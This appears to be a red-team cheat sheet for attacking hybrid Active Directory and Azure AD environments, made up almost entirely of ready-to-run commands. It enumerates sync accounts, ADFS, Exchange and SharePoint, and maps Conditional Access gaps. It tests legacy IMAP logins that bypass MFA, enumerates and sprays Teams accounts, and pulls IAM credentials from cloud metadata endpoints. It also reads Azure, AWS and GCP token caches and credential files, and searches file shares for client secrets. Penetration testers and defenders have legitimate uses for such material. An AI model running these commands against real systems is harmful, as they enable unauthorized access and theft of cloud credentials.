Cloud & Hybrid Enumeration

# Method 1: LDAP query for sync accounts (MSOL_ / AAD_ prefixed)
Get-ADUser -Filter { Name -like "MSOL_*" -or Name -like "AAD_*" } -Properties Description

# Method 2: Service connection point in AD
Get-ADObject -Filter { objectClass -eq "serviceConnectionPoint" -and 
  Name -eq "62a0ff2e-97b9-4513-943f-0d221bd30080" } -Properties keywords

# Method 3: Network scanning for AAD Connect hosts
nxc smb network-range -u '' -p '' --gen-relay-list relay.txt

# Method 4: BloodHound — find MSOL_ account and source computer
MATCH (u:User) WHERE u.name STARTS WITH "MSOL_" 
MATCH (c:Computer)-[:HasSession]->(u) RETURN c.name, u.name

# Method 5: PTA Agent discovery via service connection point
Get-ADObject -Filter { objectClass -eq "serviceConnectionPoint" -and 
  Name -eq "497b03c2-c5d8-4199-84c1-ee44e5a18a28" } -Properties keywords

# ROADtools — comprehensive Azure AD enumeration (requires valid creds)
roadrecon auth -u user@corp.com -p 'Password1'
roadrecon gather
roadrecon gui

# AzureAD PowerShell — enumerate service principals
Connect-AzureAD
Get-AzureADServicePrincipal -All $true | Select-Object DisplayName, AppId, 
  ServicePrincipalType | Where-Object { $_.ServicePrincipalType -eq "Application" }

# Find service principals with privileged roles
Get-AzureADDirectoryRole | ForEach-Object {
  $role = $_
  Get-AzureADDirectoryRoleMember -ObjectId $_.ObjectId | ForEach-Object {
    [PSCustomObject]@{ Role = $role.DisplayName; Member = $_.DisplayName; Type = $_.ObjectType }
  }
} | Where-Object { $_.Type -eq "ServicePrincipal" }

# MX records reveal mail routing (Exchange Online vs hybrid)
nslookup -type=MX corp.com
# If MX points to *.mail.protection.outlook.com → Exchange Online
# If MX points to internal server → Exchange on-prem or hybrid

# Autodiscover — reveals Exchange configuration
curl https://autodiscover-s.outlook.com/autodiscover/autodiscover.json?Email=user@corp.com

# Federation metadata (ADFS detection)
curl https://login.microsoftonline.com/corp.com/FederationMetadata/2007-06/FederationMetadata.xml
# If federated, reveals ADFS server URL (e.g., sts.corp.com)

# From internal network — find ADFS servers
nslookup sts.corp.com
nslookup adfs.corp.com
nxc smb sts.corp.com -u '' -p ''

# Check for Exchange Online PowerShell endpoint
curl -I https://outlook.office365.com/PowerShell-LiveID

# Graph API — check available endpoints
curl https://graph.microsoft.com/v1.0/$metadata

# Exchange hybrid environments have both on-prem and cloud mailboxes
# Identify hybrid configuration from internal network:

# Find Exchange servers via AD
Get-ADComputer -Filter { ServicePrincipalName -like "*exchangeMDB*" } -Properties ServicePrincipalName

# SPN-based enumeration for Exchange
setspn -Q */exchange*
setspn -Q */autodiscover*

# Exchange Management Shell (if accessible)
Get-ExchangeServer | Select-Object Name, ServerRole, Edition
Get-HybridConfiguration | Select-Object *

# Check for Exchange Web Services
nxc http exchange-server.corp.local -u user -p 'Pass123' -M ews

# Outlook Anywhere / MAPI
curl https://exchange-server.corp.local/owa/
curl https://exchange-server.corp.local/EWS/Exchange.asmx

# SharePoint Online tenant URL
# https://corp.sharepoint.com
# https://corp-my.sharepoint.com (OneDrive)

# Find SharePoint on-prem servers
Get-ADComputer -Filter { ServicePrincipalName -like "*SharePoint*" }
nxc smb network -u user -p 'Pass123' --spider "*.sharepoint.*"

# Teams — with valid credentials, enumerate via Graph API
# GET https://graph.microsoft.com/v1.0/me/joinedTeams
# GET https://graph.microsoft.com/v1.0/groups?$filter=resourceProvisioningOptions/Any(x:x eq 'Team')

# TeamFiltration — enumerate and spray Teams
TeamFiltration.exe --outpath results --enum --domain corp.com

# Search SharePoint for sensitive files (with access)
# Use ROADtools or manual Graph API queries

# Understanding Conditional Access policies reveals MFA gaps and bypass paths

# ROADtools — dump CA policies
roadrecon auth -u user@corp.com -p 'Password1'
roadrecon gather --roadrecon-gather-conditional-access
roadrecon gui
# Navigate to Policies → Conditional Access

# AADInternals — enumerate authentication methods
Get-AADIntConditionalAccessPolicies -AccessToken $token

# Test different authentication parameters to map CA policy coverage:
# - Different client apps (desktop, browser, mobile, legacy)
# - Different platforms (Windows, macOS, iOS, Android)  
# - Different locations (internal IP, VPN, external)
# - Different managed/unmanaged device states

# Legacy authentication often bypasses MFA requirements
# Test IMAP/POP/SMTP authentication
python3 -c "
import imaplib
m = imaplib.IMAP4_SSL('outlook.office365.com')
m.login('user@corp.com', 'Password1')
# If this works, legacy auth is allowed (bypasses MFA)
"

# Check for AWS integration
# EC2 metadata endpoint (if running on EC2)
curl -s http://169.254.169.254/latest/meta-data/
# IAM role credentials
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Find AWS credentials in files
findstr /s /i "AKIA" C:\Users*  # AWS access key IDs start with AKIA
findstr /s /i "aws_access_key|aws_secret" C:\Users*.aws*

# GCP metadata
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/

# Find GCP service account keys
dir /s /b C:\Users*service-account*.json

# Environment variables
set | findstr /i "AWS_|AZURE_|GCP_|GOOGLE_"

# Search for cloud credentials across gathered machines

# Azure CLI tokens
type %USERPROFILE%\.azureaccessTokens.json
type %USERPROFILE%\.azuremsal_token_cache.json

# Azure PowerShell tokens
type %USERPROFILE%\.Azure\TokenCache.dat
type %USERPROFILE%\.Azure\AzureRmContext.json

# AWS credentials
type %USERPROFILE%\.awscredentials
type %USERPROFILE%\.awsconfig

# GCP credentials
type %APPDATA%\gcloudcredentials.db
type %APPDATA%\gcloudaccess_tokens.db

# Service principal certificates and secrets in AD
Get-ADObject -Filter { objectClass -eq "msDS-ManagedServiceAccount" } -Properties *

# Search config files for client secrets
findstr /s /i "client_secret|tenant_id|subscription_id" \\fileservershare\*.config
findstr /s /i "client_secret|tenant_id" \\fileservershare\*.json